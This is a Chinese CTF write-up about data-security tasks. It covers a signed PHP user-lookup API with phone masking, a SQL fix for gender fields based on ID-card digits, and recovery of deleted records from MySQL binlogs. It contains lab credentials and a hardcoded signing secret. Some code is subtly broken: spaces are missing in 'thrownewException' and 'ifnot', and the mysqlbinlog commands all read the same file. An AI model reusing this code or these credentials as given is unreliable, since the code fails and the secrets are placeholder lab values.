// CREATE DATABASE IF NOT EXISTS ctfdb CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
// USE ctfdb;
// CREATE TABLE IF NOT EXISTS users (
// id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT,
// uuid CHAR(36) NOT NULL UNIQUE,
// username VARCHAR(64) NOT NULL UNIQUE,
// phone VARCHAR(32) DEFAULT NULL,
// gender ENUM('male','female','other') DEFAULT 'other',
// age INT UNSIGNED DEFAULT NULL,
// email VARCHAR(255) DEFAULT NULL,
// created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
// updated_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
// PRIMARY KEY (id),
// KEY idx_username (username)
// ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
?>
这题很简单，但是卡了一会，算*写错了check没过，然后根据提示去show.php看数据还以为修坏了，然后去看show.php发现本来就坏的。
<?php
// 简单用户查询API：支持按 uuid 或 username 查询；若无参数则返回前100条
// 数据库连接参数支持环境变量覆盖
header('Content-Type: application/json; charset=utf-8');
$signSecret = getenv('SIGN_SECRET') ?: 'e61e1b2b92118be136f886533467def0';
$maxSkew = 300; // 允许的时间偏移（秒）
// 计算签名：对除 sign 外的所有查询参数按键名排序后拼接 key=value&...，使用 HMAC-SHA256
function build_base_string(array $params): string
{
ksort($params);
$pairs = [];
foreach ($params as $k => $v) {
$pairs[] = $k . '=' . $v;
}
return implode('&', $pairs);
}
function t_number(string $str): string
{
if (!ctype_digit($str)) {
return $str;
}
$len = strlen($str);
if ($len <= 10) {
return $str;
}
// 计算中间 5 位起始位置
$start = intdiv($len - 5, 2);
return substr_replace($str, '*****', $start, 5);
}
// 签名校验（包含时间戳窗口检查）
try {
$queryParams = $_GET;
$providedSign = isset($queryParams['sign']) ? (string) $queryParams['sign'] : '';
unset($queryParams['sign']);
$ts = isset($queryParams['ts']) ? intval($queryParams['ts']) : 0;
if ($ts <= 0 || abs(time() - $ts) > $maxSkew) {
http_response_code(401);
echo json_encode(['success' => false, 'error' => 'unauthorized: invalid or expired timestamp']);
return;
}
$base = build_base_string($queryParams);
$expected = hash_hmac('sha256', $base, $signSecret);
if (!$providedSign || !hash_equals($expected, $providedSign)) {
http_response_code(401);
echo json_encode(['success' => false, 'error' => 'unauthorized: invalid signature']);
return;
}
} catch (Throwable $e) {
http_response_code(401);
echo json_encode(['success' => false, 'error' => 'unauthorized']);
return;
}
$dbHost = getenv('DB_HOST') ?: '127.0.0.1';
$dbName = getenv('DB_NAME') ?: 'data';
$dbUser = getenv('DB_USER') ?: 'ctf';
$dbPass = getenv('DB_PASS') ?: '123456';
$result = [
'success' => false,
'data' => [],
'error' => null,
];
try {
// 使用 mysqli 连接
$mysqli = mysqli_init();
// 连接超时与重连配置（可选）
mysqli_options($mysqli, MYSQLI_OPT_CONNECT_TIMEOUT, 5);
if (!@mysqli_real_connect($mysqli, $dbHost, $dbUser, $dbPass, $dbName, 3306)) {
thrownewException('db_connect_failed: ' . mysqli_connect_error());
}
if (!@$mysqli->set_charset('utf8mb4')) {
// 字符集设置失败不致命，但记录
}
$uuid = isset($_GET['uuid']) ? trim($_GET['uuid']) : null;
$username = isset($_GET['username']) ? trim($_GET['username']) : null;
$id = isset($_GET['id']) ? intval($_GET['id']) : null;
if ($id !== null && $id > 0) {
$sql = 'SELECT uuid, username, phone, gender, age, email
FROM users WHERE id = ? LIMIT 1';
$stmt = $mysqli->prepare($sql);
$stmt->bind_param('i', $id);
$stmt->execute();
$res = $stmt->get_result();
$rows = $res ? $res->fetch_all(MYSQLI_ASSOC) : [];
$stmt->close();
} elseif ($uuid !== null && $uuid !== '') {
$sql = 'SELECT uuid, username, phone, gender, age, email
FROM users WHERE uuid = ? LIMIT 1';
$stmt = $mysqli->prepare($sql);
$stmt->bind_param('s', $uuid);
$stmt->execute();
$res = $stmt->get_result();
$rows = $res ? $res->fetch_all(MYSQLI_ASSOC) : [];
$stmt->close();
} elseif ($username !== null && $username !== '') {
$sql = 'SELECT uuid, username, phone, gender, age, email
FROM users WHERE username = ? LIMIT 100';
$stmt = $mysqli->prepare($sql);
$stmt->bind_param('s', $username);
$stmt->execute();
$res = $stmt->get_result();
$rows = $res ? $res->fetch_all(MYSQLI_ASSOC) : [];
$stmt->close();
} else {
$sql = 'SELECT uuid, username, phone, gender, age, email
FROM users ORDER BY username ASC LIMIT 100';
$res = $mysqli->query($sql);
$rows = $res ? $res->fetch_all(MYSQLI_ASSOC) : [];
if ($res) { $res->free(); }
}
$sensitiveFields = ['phone'];
$maskedRows = [];
foreach ($rows as $item) {
$newItem = $item;
foreach ($sensitiveFields as $field) {
if (isset($newItem[$field])) {
$newItem[$field] = t_number($newItem[$field]);
}
}
$maskedRows[] = $newItem;
}
$result['success'] = true;
$result['data'] = $maskedRows;
$mysqli->close();
} catch (Throwable $e) {
http_response_code(500);
$result['error'] = $e->getMessage();
}
echo json_encode(
$result,
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES
);
/*
CREATE DATABASE IF NOT EXISTS ctfdb CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
USE ctfdb;
CREATE TABLE IF NOT EXISTS users (
id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT,
uuid CHAR(36) NOT NULL UNIQUE,
username VARCHAR(64) NOT NULL UNIQUE,
phone VARCHAR(32) DEFAULT NULL,
gender ENUM('male','female','other') DEFAULT 'other',
age INT UNSIGNED DEFAULT NULL,
email VARCHAR(255) DEFAULT NULL,
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
PRIMARY KEY (id),
KEY idx_username (username)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
*/
?>
数据3(二血)
题目描述：数据清洗 数据库存在一个表，字段包含：性别、身份证等信息。现在性别信息存在部分异常，请你根据身份证算法对性别信息进行核对，修复所有异常。 要求 根据身份证第 17 位数字判断正确性别（奇数=男性，偶数=女性） 将错误的性别数据修复为与身份证匹配的性别数据 修复完毕后，点击下方按钮进行核对 SSH 信息 账号：ctf 密码：123456 端口：10322 数据库信息 账号：ctf 密码：123456 端口：10306 数据库：data 提示：可通过SSH连接环境进行数据修复，或编写脚本自动处理。
看了一下数据，写个sql处理就可以
UPDATE user_info
SET gender = IF(
MOD(CAST(SUBSTRING(id_card, 17, 1) AS UNSIGNED), 2) = 1,
'male',
'female'
);
数据4
攻击者通过非法操作删除了美枢科技业务数据库中的核心数据，选手恢复原始数据至正常状态，确保业务系统可正常运行并通过检测。 订单数据丢失，请分析 MySQL 日志进行恢复。 看日志文件夹有mysql-bin文件应该是想我们恢复这个
ctf@a923b7d50f97:/var/log/mysql$ ls -al
total 8012
drwxrwxrwx 1 mysql mysql 4096 Oct 24 18:09 .
drwxr-xr-x 1 root root 4096 Oct 11 12:46 ..
-rwxrwxrwx 1 mysql mysql 19800 Oct 25 10:16 error.log
-rwxrwxrwx 1 mysql mysql 180 Oct 11 05:42 mysql-bin.000001
-rwxrwxrwx 1 mysql mysql 11034 Oct 11 05:44 mysql-bin.000002
-rwxrwxrwx 1 mysql mysql 6574 Oct 11 05:49 mysql-bin.000003
-rwxrwxrwx 1 mysql mysql 157 Oct 24 12:02 mysql-bin.000004
-rw-r----- 1 mysql mysql 157 Oct 24 18:09 mysql-bin.000005
-rw-r----- 1 mysql mysql 157 Oct 24 18:09 mysql-bin.000006
-rw-r----- 1 mysql mysql 192 Oct 24 18:09 mysql-bin.index
-rwxrwxrwx 1 mysql mysql 8125306 Oct 25 10:23 query.log
看看日志，mysql后面是正常启动了，恢复一下数据应该就可以。
2025-10-11T05:39:52.254329Z mysqld_safe Logging to '/var/log/mysql/error.log'.
2025-10-11T05:39:52.269430Z mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
2025-10-11T05:39:52.556955Z 0 [Warning] [MY-011070] [Server] 'binlog_format' is deprecated and will be removed in a future release.
2025-10-11T05:39:52.556975Z 0 [Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
2025-10-11T05:39:52.558999Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.43-0ubuntu0.22.04.2) starting as process 1151
2025-10-11T05:39:52.565422Z 0 [Warning] [MY-010075] [Server] No existing UUID has been found, so we assume that this is the first time that this server has been started. Generating a new UUID: b5cec7d7-a664-11f0-a668-0242c0a8b002.
2025-10-11T05:39:52.570140Z 1 [ERROR] [MY-011011] [Server] Failed to find valid data directory.
2025-10-11T05:39:52.570255Z 0 [ERROR] [MY-010020] [Server] Data Dictionary initialization failed.
2025-10-11T05:39:52.570275Z 0 [ERROR] [MY-010119] [Server] Aborting
2025-10-11T05:39:52.570707Z 0 [System] [MY-010910] [Server] /usr/sbin/mysqld: Shutdown complete (mysqld 8.0.43-0ubuntu0.22.04.2) (Ubuntu).
2025-10-11T05:39:52.583808Z mysqld_safe mysqld from pid file /var/run/mysqld/mysqld.pid ended
2025-10-11T05:40:59.240675Z mysqld_safe Logging to '/var/log/mysql/error.log'.
2025-10-11T05:40:59.258130Z mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
2025-10-11T05:40:59.544870Z 0 [Warning] [MY-011070] [Server] 'binlog_format' is deprecated and will be removed in a future release.
2025-10-11T05:40:59.544890Z 0 [Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
2025-10-11T05:40:59.546890Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.43-0ubuntu0.22.04.2) starting as process 1708
2025-10-11T05:40:59.554012Z 1 [ERROR] [MY-011011] [Server] Failed to find valid data directory.
2025-10-11T05:40:59.554201Z 0 [ERROR] [MY-010020] [Server] Data Dictionary initialization failed.
2025-10-11T05:40:59.554230Z 0 [ERROR] [MY-010119] [Server] Aborting
2025-10-11T05:40:59.554657Z 0 [System] [MY-010910] [Server] /usr/sbin/mysqld: Shutdown complete (mysqld 8.0.43-0ubuntu0.22.04.2) (Ubuntu).
2025-10-11T05:40:59.567975Z mysqld_safe mysqld from pid file /var/run/mysqld/mysqld.pid ended
2025-10-11T05:41:29.815744Z 0 [Warning] [MY-011070] [Server] 'binlog_format' is deprecated and will be removed in a future release.
2025-10-11T05:41:29.815762Z 0 [Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
2025-10-11T05:41:29.815866Z 0 [System] [MY-013169] [Server] /usr/sbin/mysqld (mysqld 8.0.43-0ubuntu0.22.04.2) initializing of server in progress as process 2016
2025-10-11T05:41:29.817577Z 0 [ERROR] [MY-010457] [Server] --initialize specified but the data directory has files in it. Aborting.
2025-10-11T05:41:29.817644Z 0 [ERROR] [MY-013236] [Server] The designated data directory /var/lib/mysql/ is unusable. You can remove all files that the server added to it.
2025-10-11T05:41:29.817704Z 0 [ERROR] [MY-010119] [Server] Aborting
2025-10-11T05:41:29.817828Z 0 [System] [MY-010910] [Server] /usr/sbin/mysqld: Shutdown complete (mysqld 8.0.43-0ubuntu0.22.04.2) (Ubuntu).
2025-10-11T05:41:33.336992Z mysqld_safe Logging to '/var/log/mysql/error.log'.
2025-10-11T05:41:33.352556Z mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
2025-10-11T05:41:33.649901Z 0 [Warning] [MY-011070] [Server] 'binlog_format' is deprecated and will be removed in a future release.
2025-10-11T05:41:33.649921Z 0 [Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
2025-10-11T05:41:33.651879Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.43-0ubuntu0.22.04.2) starting as process 2439
2025-10-11T05:41:33.658982Z 1 [ERROR] [MY-011011] [Server] Failed to find valid data directory.
2025-10-11T05:41:33.659081Z 0 [ERROR] [MY-010020] [Server] Data Dictionary initialization failed.
2025-10-11T05:41:33.659099Z 0 [ERROR] [MY-010119] [Server] Aborting
2025-10-11T05:41:33.659497Z 0 [System] [MY-010910] [Server] /usr/sbin/mysqld: Shutdown complete (mysqld 8.0.43-0ubuntu0.22.04.2) (Ubuntu).
2025-10-11T05:41:33.671556Z mysqld_safe mysqld from pid file /var/run/mysqld/mysqld.pid ended
2025-10-11T05:42:08.771836Z 0 [Warning] [MY-011070] [Server] 'binlog_format' is deprecated and will be removed in a future release.
2025-10-11T05:42:08.771849Z 0 [Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
2025-10-11T05:42:08.771923Z 0 [System] [MY-013169] [Server] /usr/sbin/mysqld (mysqld 8.0.43-0ubuntu0.22.04.2) initializing of server in progress as process 2735
2025-10-11T05:42:08.773808Z 0 [ERROR] [MY-010457] [Server] --initialize specified but the data directory has files in it. Aborting.
2025-10-11T05:42:08.773851Z 0 [ERROR] [MY-013236] [Server] The designated data directory /var/lib/mysql/ is unusable. You can remove all files that the server added to it.
2025-10-11T05:42:08.773907Z 0 [ERROR] [MY-010119] [Server] Aborting
2025-10-11T05:42:08.774019Z 0 [System] [MY-010910] [Server] /usr/sbin/mysqld: Shutdown complete (mysqld 8.0.43-0ubuntu0.22.04.2) (Ubuntu).
2025-10-11T05:42:31.123758Z 0 [Warning] [MY-011070] [Server] 'binlog_format' is deprecated and will be removed in a future release.
2025-10-11T05:42:31.123774Z 0 [Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
2025-10-11T05:42:31.123855Z 0 [System] [MY-013169] [Server] /usr/sbin/mysqld (mysqld 8.0.43-0ubuntu0.22.04.2) initializing of server in progress as process 2765
2025-10-11T05:42:31.132919Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started.
2025-10-11T05:42:31.896183Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended.
2025-10-11T05:42:35.195971Z 6 [Warning] [MY-010453] [Server] root@localhost is created with an empty password ! Please consider switching off the --initialize-insecure option.
2025-10-11T05:42:44.072749Z mysqld_safe Logging to '/var/log/mysql/error.log'.
2025-10-11T05:42:44.087898Z mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
2025-10-11T05:42:44.377870Z 0 [Warning] [MY-011070] [Server] 'binlog_format' is deprecated and will be removed in a future release.
2025-10-11T05:42:44.377890Z 0 [Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
2025-10-11T05:42:44.379934Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.43-0ubuntu0.22.04.2) starting as process 3231
2025-10-11T05:42:44.387442Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started.
2025-10-11T05:42:44.632277Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended.
2025-10-11T05:42:44.963677Z 0 [Warning] [MY-010068] [Server] CA certificate ca.pem is self signed.
2025-10-11T05:42:44.963721Z 0 [System] [MY-013602] [Server] Channel mysql_main configured to support TLS. Encrypted connections are now supported for this channel.
2025-10-11T05:42:44.991789Z 0 [System] [MY-011323] [Server] X Plugin ready for connections. Bind-address: '0.0.0.0' port: 33060, socket: /var/run/mysqld/mysqlx.sock
2025-10-11T05:42:44.991933Z 0 [System] [MY-010931] [Server] /usr/sbin/mysqld: ready for connections. Version: '8.0.43-0ubuntu0.22.04.2' socket: '/var/run/mysqld/mysqld.sock' port: 3306 (Ubuntu).
2025-10-11T05:42:45.968844Z 8 [Warning] [MY-013360] [Server] Plugin mysql_native_password reported: ''mysql_native_password' is deprecated and will be removed in a future release. Please use caching_sha2_password instead'
2025-10-11T05:49:48.208627Z mysqld_safe Logging to '/var/log/mysql/error.log'.
2025-10-11T05:49:48.223753Z mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
2025-10-11T05:49:48.515938Z 0 [Warning] [MY-011070] [Server] 'binlog_format' is deprecated and will be removed in a future release.
2025-10-11T05:49:48.515957Z 0 [Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
2025-10-11T05:49:48.517962Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.43-0ubuntu0.22.04.2) starting as process 429
2025-10-11T05:49:48.525131Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started.
2025-10-11T05:49:48.923118Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended.
2025-10-11T05:49:49.046313Z 0 [System] [MY-010229] [Server] Starting XA crash recovery...
2025-10-11T05:49:49.058594Z 0 [System] [MY-010232] [Server] XA crash recovery finished.
2025-10-11T05:49:49.166085Z 0 [Warning] [MY-010068] [Server] CA certificate ca.pem is self signed.
2025-10-11T05:49:49.166121Z 0 [System] [MY-013602] [Server] Channel mysql_main configured to support TLS. Encrypted connections are now supported for this channel.
2025-10-11T05:49:49.192066Z 0 [System] [MY-010931] [Server] /usr/sbin/mysqld: ready for connections. Version: '8.0.43-0ubuntu0.22.04.2' socket: '/var/run/mysqld/mysqld.sock' port: 3306 (Ubuntu).
2025-10-11T05:49:49.192134Z 0 [System] [MY-011323] [Server] X Plugin ready for connections. Bind-address: '0.0.0.0' port: 33060, socket: /var/run/mysqld/mysqlx.sock
2025-10-11T05:49:50.103522Z 8 [Warning] [MY-013360] [Server] Plugin mysql_native_password reported: ''mysql_native_password' is deprecated and will be removed in a future release. Please use caching_sha2_password instead'
2025-10-11T14:06:48.428535Z mysqld_safe Logging to '/var/log/mysql/error.log'.
2025-10-11T14:06:48.521171Z mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
2025-10-11T14:06:50.942164Z 0 [Warning] [MY-011070] [Server] 'binlog_format' is deprecated and will be removed in a future release.
2025-10-11T14:06:50.942209Z 0 [Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
2025-10-11T14:06:50.942439Z 0 [Warning] [MY-010091] [Server] Can't create test file /var/lib/mysql/mysqld_tmp_file_case_insensitive_test.lower-test
2025-10-11T14:06:50.942555Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.43-0ubuntu0.22.04.2) starting as process 438
2025-10-11T14:06:50.966156Z 0 [Warning] [MY-010091] [Server] Can't create test file /var/lib/mysql/mysqld_tmp_file_case_insensitive_test.lower-test
2025-10-11T14:06:50.966168Z 0 [Warning] [MY-010159] [Server] Setting lower_case_table_names=2 because file system for /var/lib/mysql/ is case insensitive
2025-10-11T14:06:51.020206Z 0 [Warning] [MY-010075] [Server] No existing UUID has been found, so we assume that this is the first time that this server has been started. Generating a new UUID: 889ea0c5-a6ab-11f0-a882-0242ac140005.
mysqld: File '/var/lib/mysql/auto.cnf' not found (OS errno 13 - Permission denied)
2025-10-11T14:06:51.020260Z 0 [ERROR] [MY-010183] [Server] Failed to create file(file: '/var/lib/mysql/auto.cnf', errno 13)
2025-10-11T14:06:51.020269Z 0 [ERROR] [MY-010076] [Server] Initialization of the server's UUID failed because it could not be read from the auto.cnf file. If this is a new server, the initialization failed because it was not possible to generate a new UUID.
2025-10-11T14:06:51.020278Z 0 [ERROR] [MY-010119] [Server] Aborting
2025-10-11T14:06:51.103449Z 0 [System] [MY-010910] [Server] /usr/sbin/mysqld: Shutdown complete (mysqld 8.0.43-0ubuntu0.22.04.2) (Ubuntu).
2025-10-11T14:06:51.179424Z mysqld_safe mysqld from pid file /var/run/mysqld/mysqld.pid ended
2025-10-11T14:10:03.875796Z mysqld_safe Logging to '/var/log/mysql/error.log'.
2025-10-11T14:10:03.909978Z mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
2025-10-11T14:10:05.327125Z 0 [Warning] [MY-011070] [Server] 'binlog_format' is deprecated and will be removed in a future release.
2025-10-11T14:10:05.327166Z 0 [Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
2025-10-11T14:10:05.356355Z 0 [Warning] [MY-010091] [Server] Can't create test file /var/lib/mysql/mysqld_tmp_file_case_insensitive_test.lower-test
2025-10-11T14:10:05.356507Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.43-0ubuntu0.22.04.2) starting as process 428
2025-10-11T14:10:05.374089Z 0 [Warning] [MY-010091] [Server] Can't create test file /var/lib/mysql/mysqld_tmp_file_case_insensitive_test.lower-test
2025-10-11T14:10:05.374098Z 0 [Warning] [MY-010159] [Server] Setting lower_case_table_names=2 because file system for /var/lib/mysql/ is case insensitive
2025-10-11T14:10:05.409925Z 0 [Warning] [MY-010075] [Server] No existing UUID has been found, so we assume that this is the first time that this server has been started. Generating a new UUID: fc7c1e7a-a6ab-11f0-b398-0242ac150005.
mysqld: File '/var/lib/mysql/auto.cnf' not found (OS errno 13 - Permission denied)
2025-10-11T14:10:05.409996Z 0 [ERROR] [MY-010183] [Server] Failed to create file(file: '/var/lib/mysql/auto.cnf', errno 13)
2025-10-11T14:10:05.410005Z 0 [ERROR] [MY-010076] [Server] Initialization of the server's UUID failed because it could not be read from the auto.cnf file. If this is a new server, the initialization failed because it was not possible to generate a new UUID.
2025-10-11T14:10:05.410022Z 0 [ERROR] [MY-010119] [Server] Aborting
2025-10-11T14:10:05.416089Z 0 [System] [MY-010910] [Server] /usr/sbin/mysqld: Shutdown complete (mysqld 8.0.43-0ubuntu0.22.04.2) (Ubuntu).
2025-10-11T14:10:05.544174Z mysqld_safe mysqld from pid file /var/run/mysqld/mysqld.pid ended
2025-10-11T14:11:05.042941Z mysqld_safe Logging to '/var/log/mysql/error.log'.
2025-10-11T14:11:05.061370Z mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
2025-10-11T14:11:05.640103Z 0 [Warning] [MY-011070] [Server] 'binlog_format' is deprecated and will be removed in a future release.
2025-10-11T14:11:05.640134Z 0 [Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
2025-10-11T14:11:05.640311Z 0 [Warning] [MY-010091] [Server] Can't create test file /var/lib/mysql/mysqld_tmp_file_case_insensitive_test.lower-test
2025-10-11T14:11:05.640429Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.43-0ubuntu0.22.04.2) starting as process 1193
2025-10-11T14:11:05.649676Z 0 [Warning] [MY-010091] [Server] Can't create test file /var/lib/mysql/mysqld_tmp_file_case_insensitive_test.lower-test
2025-10-11T14:11:05.649690Z 0 [Warning] [MY-010159] [Server] Setting lower_case_table_names=2 because file system for /var/lib/mysql/ is case insensitive
2025-10-11T14:11:05.659526Z 0 [Warning] [MY-010075] [Server] No existing UUID has been found, so we assume that this is the first time that this server has been started. Generating a new UUID: 206576ef-a6ac-11f0-b1f0-0242ac150005.
mysqld: File '/var/lib/mysql/auto.cnf' not found (OS errno 13 - Permission denied)
2025-10-11T14:11:05.659576Z 0 [ERROR] [MY-010183] [Server] Failed to create file(file: '/var/lib/mysql/auto.cnf', errno 13)
2025-10-11T14:11:05.659584Z 0 [ERROR] [MY-010076] [Server] Initialization of the server's UUID failed because it could not be read from the auto.cnf file. If this is a new server, the initialization failed because it was not possible to generate a new UUID.
2025-10-11T14:11:05.659596Z 0 [ERROR] [MY-010119] [Server] Aborting
2025-10-11T14:11:05.660953Z 0 [System] [MY-010910] [Server] /usr/sbin/mysqld: Shutdown complete (mysqld 8.0.43-0ubuntu0.22.04.2) (Ubuntu).
2025-10-11T14:11:05.682367Z mysqld_safe mysqld from pid file /var/run/mysqld/mysqld.pid ended
2025-10-24T12:02:50.447861Z mysqld_safe Logging to '/var/log/mysql/error.log'.
2025-10-24T12:02:50.503189Z mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
2025-10-24T12:02:51.154377Z 0 [Warning] [MY-011070] [Server] 'binlog_format' is deprecated and will be removed in a future release.
2025-10-24T12:02:51.154424Z 0 [Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
2025-10-24T12:02:51.157486Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.43-0ubuntu0.22.04.2) starting as process 429
2025-10-24T12:02:51.192903Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started.
2025-10-24T12:02:52.182282Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended.
2025-10-24T12:02:52.632378Z 0 [System] [MY-010229] [Server] Starting XA crash recovery...
2025-10-24T12:02:52.666349Z 0 [System] [MY-010232] [Server] XA crash recovery finished.
2025-10-24T12:02:52.761588Z 0 [Warning] [MY-010068] [Server] CA certificate ca.pem is self signed.
2025-10-24T12:02:52.761648Z 0 [System] [MY-013602] [Server] Channel mysql_main configured to support TLS. Encrypted connections are now supported for this channel.
2025-10-24T12:02:52.798094Z 0 [System] [MY-011323] [Server] X Plugin ready for connections. Bind-address: '0.0.0.0' port: 33060, socket: /var/run/mysqld/mysqlx.sock
2025-10-24T12:02:52.798464Z 0 [System] [MY-010931] [Server] /usr/sbin/mysqld: ready for connections. Version: '8.0.43-0ubuntu0.22.04.2' socket: '/var/run/mysqld/mysqld.sock' port: 3306 (Ubuntu).
2025-10-24T12:02:53.187887Z 8 [Warning] [MY-013360] [Server] Plugin mysql_native_password reported: ''mysql_native_password' is deprecated and will be removed in a future release. Please use caching_sha2_password instead'
2025-10-24T18:09:16.852615Z mysqld_safe Logging to '/var/log/mysql/error.log'.
2025-10-24T18:09:16.918051Z mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
2025-10-24T18:09:17.773770Z 0 [Warning] [MY-011070] [Server] 'binlog_format' is deprecated and will be removed in a future release.
2025-10-24T18:09:17.773813Z 0 [Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
2025-10-24T18:09:17.784969Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.43-0ubuntu0.22.04.2) starting as process 435
2025-10-24T18:09:17.849341Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started.
2025-10-24T18:09:19.005251Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended.
2025-10-24T18:09:19.963482Z 0 [System] [MY-010229] [Server] Starting XA crash recovery...
2025-10-24T18:09:20.038995Z 0 [System] [MY-010232] [Server] XA crash recovery finished.
2025-10-24T18:09:20.261997Z 0 [Warning] [MY-010068] [Server] CA certificate ca.pem is self signed.
2025-10-24T18:09:20.262052Z 0 [System] [MY-013602] [Server] Channel mysql_main configured to support TLS. Encrypted connections are now supported for this channel.
2025-10-24T18:09:20.426698Z 0 [System] [MY-011323] [Server] X Plugin ready for connections. Bind-address: '0.0.0.0' port: 33060, socket: /var/run/mysqld/mysqlx.sock
2025-10-24T18:09:20.427013Z 0 [System] [MY-010931] [Server] /usr/sbin/mysqld: ready for connections. Version: '8.0.43-0ubuntu0.22.04.2' socket: '/var/run/mysqld/mysqld.sock' port: 3306 (Ubuntu).
mbind: Operation not permitted
先转成.sql文件
mysqlbinlog --no-defaults --base64-output=DECODE-ROWS -v mysql-bin.000002 > mysql-bin.000001.sql
mysqlbinlog --no-defaults --base64-output=DECODE-ROWS -v mysql-bin.000002 > mysql-bin.000002.sql
mysqlbinlog --no-defaults --base64-output=DECODE-ROWS -v mysql-bin.000002 > mysql-bin.000003.sql
mysqlbinlog --no-defaults --base64-output=DECODE-ROWS -v mysql-bin.000002 > mysql-bin.000004.sql
只有2和3是有数据的先提取那四个表的数据，格式是有点问题的用vscode去替换###替换为空，1@=这些按列去替换为列明，麻烦的是后面得加,和最后一行得加;,让本地写个脚本，但是最后全给我加,了，不过最后一行是时间都是00可以用vscode去替换。
import sys
import re
def transform_block(lines):
"""处理一条 INSERT 语句块，输出标准格式"""
# 1. 去掉首尾空行
block = [ln.rstrip() for ln in lines if ln.rstrip()]
ifnot block:
return []
# 2. 只处理以 "INSERT INTO" 开头的块
ifnot block[0].startswith("INSERT INTO"):
# 直接返回原块（例如表格或注释）
return block
out_lines = [block[0]] # 第一行（INSERT 语句）
out_lines.append("SET")
# 3. 其余行是字段赋值
for i, ln in enumerate(block[1:]):
# 去掉行尾的可能逗号、分号
ln_clean = re.sub(r'[;,]\s*$', '', ln).strip()
# 末行要以分号结尾
if i == len(block[1:]) - 1:
out_lines.append(f" {ln_clean};")
else:
out_lines.append(f" {ln_clean},")
return out_lines
def main(ifile):
with open(ifile, "r", encoding="utf-8") as f:
content = f.readlines()
# 把文件拆成块：每块以空行或 INSERT 开头分隔
blocks = []
cur = []
for line in content:
if line.strip() == ""and cur:
blocks.append(cur)
cur = []
else:
cur.append(line)
if cur:
blocks.append(cur)
# 处理每个块
transformed = []
for blk in blocks:
t = transform_block(blk)
transformed.extend(t + [""]) # 空行分隔
# 输出
sys.stdout.write("\n".join(transformed))
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 fix_sql.py input.sql > output.sql")
sys.exit(1)
main(sys.argv[1])
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
